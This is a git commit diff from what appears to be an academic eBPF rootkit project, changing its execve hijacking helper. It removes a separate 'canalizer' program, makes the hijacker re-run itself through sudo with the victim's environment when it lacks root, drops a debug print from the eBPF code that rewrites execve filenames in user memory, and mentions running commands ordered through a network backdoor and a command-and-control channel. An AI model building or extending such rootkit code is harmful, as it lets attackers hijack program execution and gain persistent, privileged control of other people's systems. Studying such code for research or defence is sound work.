Now the execve hijacker works without needing a canalizer. Removed it. Also some additional tweaks to the c&c launching of the helper

src/common/constants.h

@@ -19,7 +19,7 @@
 #define STRING_FS_SUDOERS_ENTRY_LEN 37
 
 //EXECUTION HIJACKING
-#define PATH_EXECUTION_HIJACK_PROGRAM "/home/osboxes/TFG/src/helpers/execve_hijack_canalizer\0"
+#define PATH_EXECUTION_HIJACK_PROGRAM "/home/osboxes/TFG/src/helpers/execve_hijack\0"
 
 
 #endif

src/ebpf/include/bpf/exec.h

@@ -77,7 +77,6 @@ static __always_inline int test_write_user_unique(struct sys_execve_enter_ctx *c
         bpf_probe_write_user((void*)(ctx->filename), (void*)org_filename, 1);
         return -1;
     }
-    bpf_printk("Char was %u\n", argv_c);
     //Everything went fine, but let's fix our modification anyways since the next write to user memory, which
     //implies more bytes, may fail.
     bpf_probe_write_user((void*)(ctx->filename), (void*)org_filename, 1);

src/helpers/Makefile

@@ -3,13 +3,7 @@ HEADERS = lib/RawTCP.h
 EXTRA_CFLAGS= -I$(PWD)/lib
 
 default:
-	make execve_hijack execve_hijack_canalizer
+	make execve_hijack
-
-execve_hijack_canalizer.o: execve_hijack_canalizer.c
-	gcc -c execve_hijack_canalizer.c
-
-execve_hijack_canalizer: execve_hijack_canalizer.o
-	gcc -o execve_hijack_canalizer execve_hijack_canalizer.o
 
 execve_hijack.o: execve_hijack.c $(HEADERS)
 	gcc -c execve_hijack.c
@@ -19,6 +13,4 @@ execve_hijack: execve_hijack.o lib/libRawTCP_Lib.a
 
 clean:
 	-rm -f execve_hijack.o
-	-rm -f execve_hijack
+	-rm -f execve_hijack
-	-rm -f execve_hijack_canalizer.o
-	-rm -f execve_hijack_canalizer

src/helpers/execve_hijack.c

@@ -64,8 +64,22 @@ char* getLocalIpAddress(){
     return IPbuffer;
 }
 
-int main(int argc, char* argv[]){
+int main(int argc, char* argv[], char *envp[]){
     printf("Hello world from execve hijacker\n");
+    for(int ii=0; ii<argc; ii++){
+        printf("Argument %i is %s\n", ii, argv[ii]);
+    }
+
+
+    if(geteuid() != 0){
+        //We do not have privileges, but we do want them. Let's rerun the program now.
+        char* args[argc+1]; 
+        args[0] = "sudo";
+        for(int ii=0; ii<argc; ii++){
+            args[ii+1] = argv[ii];
+        }
+        execve("/usr/bin/sudo", args, envp);
+    }
 
     time_t rawtime;
     struct tm * timeinfo;
@@ -74,10 +88,6 @@ int main(int argc, char* argv[]){
     timeinfo = localtime ( &rawtime );
     char* timestr = asctime(timeinfo);
 
-    for(int ii=0; ii<argc; ii++){
-        printf("Argument %i is %s\n", ii, argv[ii]);
-    }
-
     //We proceed to fork() and exec the original program, whilst also executing the one we 
     //ordered to execute via the network backdoor
     //int bpf_map_fd = bpf_map_get_fd_by_id()

src/helpers/execve_hijack_canalizer.c

@@ -1,11 +0,0 @@
-#include <stdio.h>
-#include <stdlib.h>
-#include <unistd.h>
-
-int main(int argc, char* argv[], char *envp[]){
-    printf("Hello world from the canalizer\n");
-    char* args[] = {"sudo", "/home/osboxes/TFG/src/helpers/execve_hijack", NULL};
-    execve("/usr/bin/sudo", args, envp);
-
-    return 0;
-}